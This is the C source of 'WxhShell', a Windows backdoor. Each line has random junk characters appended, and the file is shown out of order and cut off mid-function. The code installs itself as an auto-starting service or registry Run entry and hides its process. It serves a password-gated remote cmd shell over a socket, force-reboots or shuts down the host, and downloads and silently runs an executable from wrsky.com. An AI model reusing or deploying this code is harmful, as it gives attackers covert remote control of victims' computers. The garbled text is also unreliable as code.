    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )4h|7^6ji  
    if(Boot(SHUTDOWN)) X`3_ yeQc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5 NC77}^.  
    else { PJ4/E  
    closesocket(wsh); l=t/"M=  
    ExitThread(0); ,zuS)?  
    } "TP~TjXfq  
    break; o:&8H>(hn]  
    } xkRS?Q g  
  // 获取shell +p`BoF9~  
  case 's': { q{_f"  
    CmdShell(wsh); C4qK52'2s  
    closesocket(wsh); &Nh zEl1  
    ExitThread(0); k ~Q 5Cs  
    break; '7}2}KD  
  } q7r b3d  
  // 退出 aOw#]pB|  
  case 'x': { Cn{v\Q~.4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?0M$p  
    CloseIt(wsh); }30Sb &"  
    break; +0)M1!gK  
    } YR? E z<p  
  // 离开 |h%HUau  
  case 'q': { eXD~L&s[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7W*a+^   
    closesocket(wsh); .jg@UAK  
    WSACleanup(); 3~7!=s\v  
    exit(1); EJ>rW(s  
    break; F:d2;  
        } zy%0;%  
  } Trs2M+r)  
  } {* :^K\-  
d"IZt;s/,  
  // 提示信息 Phk3Jv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2 S~(P  
} 2@lGY_O!m  
  } |5%T)  
by0K:*C  
  return; x`FTy&g  
} `"}).{N]C  
uY(8KW  
// shell模块句柄 @87Y/_l  
int CmdShell(SOCKET sock) ',xUU{5?  
{ .>#O'Z&q9  
STARTUPINFO si; g Oe!GnO  
ZeroMemory(&si,sizeof(si)); KO7&dM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c-5AI{%bl6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \b%c_e  
PROCESS_INFORMATION ProcessInfo; FNuE-_  
char cmdline[]="cmd"; y2#"\5dC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0;@>jo6,!  
  return 0; k7Qs#L  
} (_!I2"Q*  
vb?.`B_>&  
// 自身启动模式 {aq)Y>o5:T  
int StartFromService(void) ~c<8;,cjYR  
{ S5u$I  
typedef struct kS &>g  
{ :hs~;vn)  
  DWORD ExitStatus; U]gUGD!5x  
  DWORD PebBaseAddress; 7M4J{}9  
  DWORD AffinityMask; 9PA<g3z  
  DWORD BasePriority; 37kVJQcA1  
  ULONG UniqueProcessId; ^+CWo@.  
  ULONG InheritedFromUniqueProcessId; L%(NXSfu7  
}   PROCESS_BASIC_INFORMATION; Pzq^x]  
nIr`T^c9c  
PROCNTQSIP NtQueryInformationProcess; j`"!G*Vh  
,mHUo4h1O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WA,D=)GP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1++g @8  
vG'#5%,|  
  HANDLE             hProcess; 8Th,C{  
  PROCESS_BASIC_INFORMATION pbi; jd-ccnR l  
o+}k$i!6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I/O/*^T  
  if(NULL == hInst ) return 0; Z#Kf%x.  
&PRoT#,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J,)ytw]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [|1I.AZ{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); aQ $sn<-l  
xSd&xwP  
  if (!NtQueryInformationProcess) return 0; BCe'J!  
gN />y1{a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wEM=Tr/h  
  if(!hProcess) return 0; YPI,u7-  
qe#5;#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; GJZjQH-#P  
#+l`tj4b/  
  CloseHandle(hProcess); ZSK_Lux>  
c'tQA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (m,H 5  
if(hProcess==NULL) return 0; [ 5}Q  
u%e~a]  
HMODULE hMod; -W1p=od  
char procName[255]; j\IdB:}j  
unsigned long cbNeeded; 64mEZ_kG,  
eGq7+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6QY;t:/<  
YmaS,Q-  
  CloseHandle(hProcess); ~qeFSU(  
tF} ^  
if(strstr(procName,"services")) return 1; // 以服务启动 ,G%UU~/a  
Znb7OF^#"  
  return 0; // 注册表启动 jhf3(hx&F  
} p>+9pxx~U  
o zn&>k  
// 主模块 -grf7w^  
int StartWxhshell(LPSTR lpCmdLine) 1J"9Y81   
{ g ass Od  
  SOCKET wsl; b{ xlW }S  
BOOL val=TRUE; S Dil\x  
  int port=0; ebI2gEu;a  
  struct sockaddr_in door; >*h+ N? m  
').) 0;  
  if(wscfg.ws_autoins) Install(); Rv9jLH  
Zf@B< m  
port=atoi(lpCmdLine); 30uPDDvar  
#O}}pF  
if(port<=0) port=wscfg.ws_port; 6 Ln~b<I  
T9Q3I  
  WSADATA data; o= ($'(1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  &Q~W{.  
D?1fY!C:r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ft(o-f7,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Xj/z),  
  door.sin_family = AF_INET; *"8Ls0!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); B+`4UfB]Z}  
  door.sin_port = htons(port); )xyjQ|b  
vHpw?(]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (?\+  
closesocket(wsl); 5\bGCf  
return 1; R\3a Sx L  
} D;V[9E=g/  
NUltuM  
  if(listen(wsl,2) == INVALID_SOCKET) { e9KD mX_  
closesocket(wsl); YP_L~zZ  
return 1; $!.>)n  
} '^_u5Y]  
  Wxhshell(wsl); 7:u+cv  
  WSACleanup(); 1]2]l*&3  
/VT/KT{  
return 0; -Y/i h(I^  
O+=%Mz(l  
} ]q%r2 (y,k  
U*$P"sS`  
// 以NT服务方式启动 P{n#^4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hvw9i7#  
{ KN|<yF   
DWORD   status = 0; }<A.zwB<i  
  DWORD   specificError = 0xfffffff; Cr7Zi>sd<!  
6^] |  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <@-O 06  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8O,\8:I#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Yao}Xo9}  
  serviceStatus.dwWin32ExitCode     = 0; f?sm~PwC-  
  serviceStatus.dwServiceSpecificExitCode = 0; |^1U<'oM#  
  serviceStatus.dwCheckPoint       = 0; dyWp'vCQs\  
  serviceStatus.dwWaitHint       = 0; >5~#BrpwG  
)FQ"l{P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @=VxW U  
  if (hServiceStatusHandle==0) return; M-"j8:en  
_K~h? \u  
status = GetLastError(); lWId 0eNS  
  if (status!=NO_ERROR) eA4:]A"  
{ +Ua|0>?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F$?Ab\#B  
    serviceStatus.dwCheckPoint       = 0; ;yt6Yp.6e  
    serviceStatus.dwWaitHint       = 0; a'i Q("  
    serviceStatus.dwWin32ExitCode     = status; 0!|d .jZI  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0 jth}\9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /]TNEU,K  
    return; Sr aZxuPg>  
  } qLDj\%~(  
elCYH9W^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `uMEK>b  
  serviceStatus.dwCheckPoint       = 0; k <oB9J  
  serviceStatus.dwWaitHint       = 0; |NfFe*q0;8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^Qs}2%  
} '9V/w[mI  
:DN!1~ZtW  
// 处理NT服务事件,比如:启动、停止 < xy@%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q`<:CfCt  
{ P9cx&Hk9  
switch(fdwControl) /sKL|]i=  
{ l/X_CM8y~  
case SERVICE_CONTROL_STOP: &R72$H9C8i  
  serviceStatus.dwWin32ExitCode = 0; S:_Ms{S  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; YO7U}6wBt  
  serviceStatus.dwCheckPoint   = 0; Lj1l ]OD  
  serviceStatus.dwWaitHint     = 0; ;?2)[a  
  { hC:'L9Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p`Pa;=L  
  } ~$HB}/  
  return; Y_'ERqQ  
case SERVICE_CONTROL_PAUSE: x4'@U<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7s|'NTp  
  break; I@'[>t  
case SERVICE_CONTROL_CONTINUE: g<:Lcg"u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; JY0aE  
  break; >H;i#!9,  
case SERVICE_CONTROL_INTERROGATE: ")|/\ w,  
  break; \HeJc:^  
}; h&<"jCjL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &bsq;)wzs  
} +lym8n~-O  
+vh|m5"7I7  
// 标准应用程序主函数 XNYA\%:5S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;>J!$B?,  
{ T+0=Ou"N  
&K9;GZS?  
// 获取操作系统版本 &uNec( c  
OsIsNt=GetOsVer(); _gT65G~z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '$tCAS  
/Y7^!3uM  
  // 从命令行安装 TrjyU  
  if(strpbrk(lpCmdLine,"iI")) Install(); =A"Abmx|  
\H] |5fp*  
  // 下载执行文件 bwsKdh  
if(wscfg.ws_downexe) { mk>; 3m*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) RaJTya^  
  WinExec(wscfg.ws_filenam,SW_HIDE); v ccH(T  
} hhTtxC<:  
E=sh^Q(A  
if(!OsIsNt) { TjW!-s?S  
// 如果时win9x,隐藏进程并且设置为注册表启动 `fBQ?[05.  
HideProc(); /%T/@y  
StartWxhshell(lpCmdLine); !m@cTB7i   
} Ds`e-X)O;\  
else smn"]K  
  if(StartFromService()) MpCPY"WLL  
  // 以服务方式启动 iiPVqU%  
  StartServiceCtrlDispatcher(DispatchTable); X{-4w([  
else  s5VK  
  // 普通方式启动 L< F8+a7i  
  StartWxhshell(lpCmdLine); E'AR.!  
CsO!Y\'FY  
return 0; P3zUaN \c  
} RM2Ik_IH[l  
-c`xeuzK'  
w 3t,S3!  
mrTf[ "K  
=========================================== 6V;Dcfvi  
_Id'56N]J!  
/UCBoQ$/]  
?JrUZXY  
~MG6evm &  
voa)V 1A/]  
" O=0p}{3l  
o=m5AUe?J  
#include <stdio.h> x5lVb$!G  
#include <string.h> 3q]0gU&??  
#include <windows.h> VE\L&d2S  
#include <winsock2.h> ^{Y,`F  
#include <winsvc.h> eD>b|U=/  
#include <urlmon.h> +b|F_  
`Y&`2WZ ~  
#pragma comment (lib, "Ws2_32.lib") $S6(V}yh  
#pragma comment (lib, "urlmon.lib") Rh'z;Gyr  
>q}3#TvP@  
#define MAX_USER   100 // 最大客户端连接数 >F$9&s&  
#define BUF_SOCK   200 // sock buffer QQJGqM3a2  
#define KEY_BUFF   255 // 输入 buffer s9?mX@>h  
X`8<;l  
#define REBOOT     0   // 重启 A(y6]E!  
#define SHUTDOWN   1   // 关机 1-kuK<KR  
d^v#x[1msZ  
#define DEF_PORT   5000 // 监听端口 N63?4'_W  
Ia2WBs =  
#define REG_LEN     16   // 注册表键长度 e{)giJY9  
#define SVC_LEN     80   // NT服务名长度 Rk$7jZdTf  
|~9rak,  
// 从dll定义API $fb%?n{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jFSR+mP!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]cRvdUGv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @2Z|\ojJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f|> rp[Gk  
YU,zQ V'  
// wxhshell配置信息 {j wv+6]U  
struct WSCFG { </I%VHP,[f  
  int ws_port;         // 监听端口 > X~\(|EM  
  char ws_passstr[REG_LEN]; // 口令 Tu vs}  
  int ws_autoins;       // 安装标记, 1=yes 0=no *DJsY/9d}'  
  char ws_regname[REG_LEN]; // 注册表键名 WIWo4[(  
  char ws_svcname[REG_LEN]; // 服务名 _H| )g*]t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ` m 5\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Es=G' au  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i\xs!QU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  hb[ThQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?$pNduE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @nH3nn  
w-).HPe  
}; vn.5X   
\' O/3Y7?X  
// default Wxhshell configuration KXWcg#zFY  
struct WSCFG wscfg={DEF_PORT, [}L?EM  
    "xuhuanlingzhe", 0:{W t  
    1, Bc=(1ty)  
    "Wxhshell", @]Q4K%1^"  
    "Wxhshell", xU;SRB   
            "WxhShell Service", 7gX32r$%V  
    "Wrsky Windows CmdShell Service", l$u52e!7  
    "Please Input Your Password: ", Au2^ T1F  
  1, +w0Wg.4V  
  "http://www.wrsky.com/wxhshell.exe", Ana[>wSZO@  
  "Wxhshell.exe" %|jS`kj  
    }; F}Zg3 #  
=Uk #7U"P  
// 消息定义模块 <$A,|m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >MYxj}I4{z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^B.Z3Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -^NW:L$|  
char *msg_ws_ext="\n\rExit."; RE!WuLs0"  
char *msg_ws_end="\n\rQuit."; 9/"&6,  
char *msg_ws_boot="\n\rReboot..."; A1zRzg4I  
char *msg_ws_poff="\n\rShutdown..."; eC/{c1C  
char *msg_ws_down="\n\rSave to "; x8lBpr  
~&:-c v  
char *msg_ws_err="\n\rErr!"; ?y|&Mz'XJ(  
char *msg_ws_ok="\n\rOK!"; A!Tl  
RFw0u 0Nrz  
char ExeFile[MAX_PATH]; 7(/yyZQnZ  
int nUser = 0; g}~s"Sz  
HANDLE handles[MAX_USER]; bK "I9T #  
int OsIsNt; DY`0 `T  
3Ei^WDJ  
SERVICE_STATUS       serviceStatus; W[jg+|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0\i\G|5  
Gs#9'3_U5  
// 函数声明 &>-'|(m+2  
int Install(void); u^Cl s!C  
int Uninstall(void); 8wWp+Hk  
int DownloadFile(char *sURL, SOCKET wsh); #19O5  
int Boot(int flag); #X] *kxQ<  
void HideProc(void); Gza= 0  
int GetOsVer(void); R&1>\t  
int Wxhshell(SOCKET wsl); IB|!51H  
void TalkWithClient(void *cs); } W]A`-Jv  
int CmdShell(SOCKET sock); zFOtOz`9H  
int StartFromService(void); >V.?XZ nt  
int StartWxhshell(LPSTR lpCmdLine); 33%hZ`/>  
b GSj?t9/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WD4"ft  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :r{-:   
zd$'8/Cq  
// 数据结构和表定义 YusmMsN?  
SERVICE_TABLE_ENTRY DispatchTable[] = MTt8O+J?P~  
{ 1 F:bExQ  
{wscfg.ws_svcname, NTServiceMain}, x|Uwk=;X|s  
{NULL, NULL} )d[n-Si  
}; Bc!<!  
c Lyf[z)W  
// 自我安装 %lbvK^  
int Install(void) @ 2hGkJ-  
{ pg5W`4-F  
  char svExeFile[MAX_PATH]; {]Mwuqn  
  HKEY key; 4+8)0;<H  
  strcpy(svExeFile,ExeFile); o2|#_tGNUy  
nZiwR4kM  
// 如果是win9x系统,修改注册表设为自启动 T6y~iNd<  
if(!OsIsNt) { Vu_oxL}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HnPy";{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KyIUz9$  
  RegCloseKey(key); |HAbZd7PG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U ]pE{ ^\w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rFcz 0  
  RegCloseKey(key); ~xzr8 P  
  return 0; b!t[PShw^  
    } 8Z}%,G*n  
  } 3]S_w[Q4  
} / 8O=3  
else { R?{_Q<17  
tF[) Y#  
// 如果是NT以上系统,安装为系统服务 m +A4aQ9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5XT^K)'  
if (schSCManager!=0) z81dm  
{ Y4YZM  
  SC_HANDLE schService = CreateService $,Q] GIC  
  ( )fo0YpE^|  
  schSCManager, JCxQENsVqB  
  wscfg.ws_svcname, cZ%tJ(&\7X  
  wscfg.ws_svcdisp, R|@~<*  
  SERVICE_ALL_ACCESS, ;/NC[:'$D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a /]FlT  
  SERVICE_AUTO_START, I_#5gq  
  SERVICE_ERROR_NORMAL, UDZ0ne0-  
  svExeFile, 0fj C>AS  
  NULL, o w(9dB&E  
  NULL, @|h9jx|  
  NULL, RKrNmD*rk*  
  NULL, zWPX  
  NULL DhxS@/  
  ); fAkfN H6  
  if (schService!=0) U=%(kOx  
  { [PXq<ST  
  CloseServiceHandle(schService); #P!<u Lc%  
  CloseServiceHandle(schSCManager); Sg%s\p]N_#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h [Sd3Z*  
  strcat(svExeFile,wscfg.ws_svcname); iWWtL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6RIbsy  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L~/L<Ms  
  RegCloseKey(key); `]]5!U2  
  return 0; =84EX<B  
    } 7Wv.-LD6  
  } 0 NSw^dO\  
  CloseServiceHandle(schSCManager); ?@in($67  
} Z@Q/P(t  
} He8]Eb  
d<Lc&wlP  
return 1; ,ye[TQ\,M  
} VJ h]j (  
m|B)A"Sm  
// 自我卸载 ]'n4e*  
int Uninstall(void) YeT{<9p  
{ An}RD73!w  
  HKEY key; C ]B P}MY<  
qh W]Wd" g  
if(!OsIsNt) { \{Q_\s&)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z[&FIG% tV  
  RegDeleteValue(key,wscfg.ws_regname); P )oNNY6}  
  RegCloseKey(key); Y(aUB$"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PN99 R]K0g  
  RegDeleteValue(key,wscfg.ws_regname); P3!@}!r8  
  RegCloseKey(key); "N'W~XPG  
  return 0; D 9;pjY  
  } vC1fKo\p  
} L9^ M?.a  
} &2%|?f|  
else { Mb"y{Fox  
k8J zey]X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); oM>UIDCY_v  
if (schSCManager!=0) RIUJX{?  
{ NKEmY-f;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wWx{#!W  
  if (schService!=0) iEI#J!~  
  { atd;)o0*0  
  if(DeleteService(schService)!=0) { ,j{tGj_  
  CloseServiceHandle(schService); T9J&^I  
  CloseServiceHandle(schSCManager); E;`^`T40  
  return 0; ]5@n`;&#.  
  } OpazWcMoo  
  CloseServiceHandle(schService); +VQD'  
  } :Hb`vH3 x  
  CloseServiceHandle(schSCManager); /? d)01  
} g/68& M  
} gREk,4DAv  
s5G`?/  
return 1; }^Sk.:;n3  
} MBjAe!,-  
w*~s&7c2B  
// 从指定url下载文件 E_'H=QN c  
int DownloadFile(char *sURL, SOCKET wsh) 7jxx,#I:  
{ yMyvX_UNI  
  HRESULT hr; zICCSF&H  
char seps[]= "/"; %MGt3)  
char *token; 2[=3-1c  
char *file; "~.4z,ha  
char myURL[MAX_PATH]; Yh^8 !  
char myFILE[MAX_PATH]; Ri AMW|M"C  
kf<c[su  
strcpy(myURL,sURL); CvZ\Z472.j  
  token=strtok(myURL,seps); N3lz-vP-  
  while(token!=NULL) o(DG 3qk  
  { DC/Czkv9  
    file=token; {U>N*&_`  
  token=strtok(NULL,seps); qe(gKKA%q  
  } 7@g0>1Fz  
RhB)AUAj  
GetCurrentDirectory(MAX_PATH,myFILE); %rhZH^2  
strcat(myFILE, "\\"); iF +@aA  
strcat(myFILE, file); }=\?]9`  
  send(wsh,myFILE,strlen(myFILE),0); CV=qcD  
send(wsh,"...",3,0); f|_\GVW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); < @GO]vY  
  if(hr==S_OK) 2?6]Xbs{  
return 0; xR kw+  
else j `!Ge  
return 1; nhMxw @Z\  
xDl; tFI  
} &uc`w{,Zs  
dG0zA D  
// 系统电源模块 NZZy^p&O  
int Boot(int flag) M:oM(K+  
{ $kN=45SR  
  HANDLE hToken; =NY55t.  
  TOKEN_PRIVILEGES tkp; hi$AZ+  
^>ir&$  
  if(OsIsNt) { ia_@fQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,W[J@4.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?B e}{Qqlg  
    tkp.PrivilegeCount = 1; aaKf4}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7q;`~tbC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m44a HBwId  
if(flag==REBOOT) { ^$% Sg//  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (y6}xOa(  
  return 0; :Cx|(+T  
} }@t" B9D  
else { VoUo!t:(+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) QD3tM5(Yr  
  return 0; bW! &n  
} ))Z>$\<:  
  } vR!g1gI23  
  else { Wq+GlB*  
if(flag==REBOOT) {  yZ[g2*1L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N>*+Wg$Ne  
  return 0; U/kQwrM  
} zdU 46|!u  
else { AIn/v`JeX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) EZjtZMnj  
  return 0; h/{1(c}  
} >P@V D"U  
} JttDRNZAU  
[PUu9rz#  
return 1; lqMr@ :t  
} 6i+,/vr  
-3) jUzD  
// win9x进程隐藏模块 [|c%<|d2  
void HideProc(void) j-R*!i  
{ y2jw3R  
 3TCRCz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ic_NQ<8  
  if ( hKernel != NULL ) i@5Fne  
  { ihwJBN>(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `?N0?;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `vOL3`P  
    FreeLibrary(hKernel); sfr+W-7kx  
  } =c*l!."0  
>L!c} Ku  
return; _9 '_w&  
} vaP`'  
MA:5'n  
// 获取操作系统版本 /; Bmh=  
int GetOsVer(void) UsFn!!+  
{ .S-)  
  OSVERSIONINFO winfo; ~I+MuI[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (oX!D(OI  
  GetVersionEx(&winfo); =(7nl#o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) njX$?V   
  return 1; r)}U 'iv*%  
  else aif;h! ?y  
  return 0; /A-WI x  
} : (X3?%  
u)<s*jk  
// 客户端句柄模块 -c0ypz  
int Wxhshell(SOCKET wsl) 7>j~;p{  
{ {LF4_9 =  
  SOCKET wsh; CKK}Z;~:  
  struct sockaddr_in client; ]r|oNGD)G  
  DWORD myID; :[_ms d  
$+7uB-KsU  
  while(nUser<MAX_USER) '-RacNY  
{ [ C0v -  
  int nSize=sizeof(client); 9ZJ 8QH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \z0HHCn'"  
  if(wsh==INVALID_SOCKET) return 1; 9K`_P] l2z  
0Z6geBMc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (V jU,'h  
if(handles[nUser]==0) `2@.%s1o=  
  closesocket(wsh); R'tKJ_VI  
else 2,q*[Kh1  
  nUser++; 2NMs-Zs  
  } 0(eaVi-%D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vsj4? 0=  
^r&)@R$V  
  return 0; b@;Wh-{d  
} [TFJb+N&  
h.PBe  
// 关闭 socket Q&I`uS=F  
void CloseIt(SOCKET wsh) `nl n@ ;  
{ TMj;NSc3  
closesocket(wsh); tWIJ,_8l  
nUser--; yzhNl' Rz  
ExitThread(0); =zyA~}M2  
} BtC*]WB"_'  
'q)g, 2B%  
// 客户端请求句柄 /gZyl|kdy  
void TalkWithClient(void *cs) vNv!fkl  
{ !&rd#ZBn  
~pQN#C)CO>  
  SOCKET wsh=(SOCKET)cs; MWh Y&I+  
  char pwd[SVC_LEN]; a^p#M  
  char cmd[KEY_BUFF]; "GK9Y  
char chr[1]; ?F AI@4  
int i,j; RTm/-6[N  
Eu`|8# [ W  
  while (nUser < MAX_USER) { r!2U#rz  
w]0@V}}u$o  
if(wscfg.ws_passstr) { 2aM7zP[Z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V9<`?[Usv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RPW46l34  
  //ZeroMemory(pwd,KEY_BUFF); h <LFTYE@  
      i=0; E7MSoBX9M  
  while(i<SVC_LEN) { ",$_\l  
f_jhQ..g<g  
  // 设置超时 BHUI1y5t  
  fd_set FdRead; A#=TR_@:  
  struct timeval TimeOut; <:}nd:l1  
  FD_ZERO(&FdRead); 2]5{Xmmo9  
  FD_SET(wsh,&FdRead); 8D*nU3O   
  TimeOut.tv_sec=8; EsMX #1>/m  
  TimeOut.tv_usec=0;  -BSdrP|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Oo|PZ_P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Vb (b3  
(.ir"\k1(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Db,"Gl  
  pwd=chr[0]; {rUg,y{v  
  if(chr[0]==0xd || chr[0]==0xa) { eluN~T:W  
  pwd=0; @&ZQDi  
  break; "=djo+y  
  } 5G f@n/M"  
  i++; T+<.KvO-  
    } Cq\XLh `  
OM*c7&  
  // 如果是非法用户,关闭 socket 4 O!2nP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Tnp P'  
} G](4!G&  
gc.Lh~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .5(YL8d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c1yRy|  
I,{YxY[$7  
while(1) { SO$Af!S:bB  
!bE-&c  
  ZeroMemory(cmd,KEY_BUFF); 6Wu*zY_+  
e73=*~kfR  
      // 自动支持客户端 telnet标准   ^m|@pp  
  j=0; l-+=Yk!X  
  while(j<KEY_BUFF) { X7},|cmD_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mM,HMrgLqK  
  cmd[j]=chr[0]; q>$MqKWM  
  if(chr[0]==0xa || chr[0]==0xd) { k QuEG5n.-  
  cmd[j]=0; R~\R>\  
  break; =yf) Z^  
  } K~TwyB-h  
  j++; e&}W#  
    } IfK~~XYG  
=-h^j  
  // 下载文件 Y[{:?i~9,  
  if(strstr(cmd,"http://")) { Ie.*x'b?y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); AW]\n;f  
  if(DownloadFile(cmd,wsh)) D.K""*ula  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \MP~}t}c  
  else W [ l  
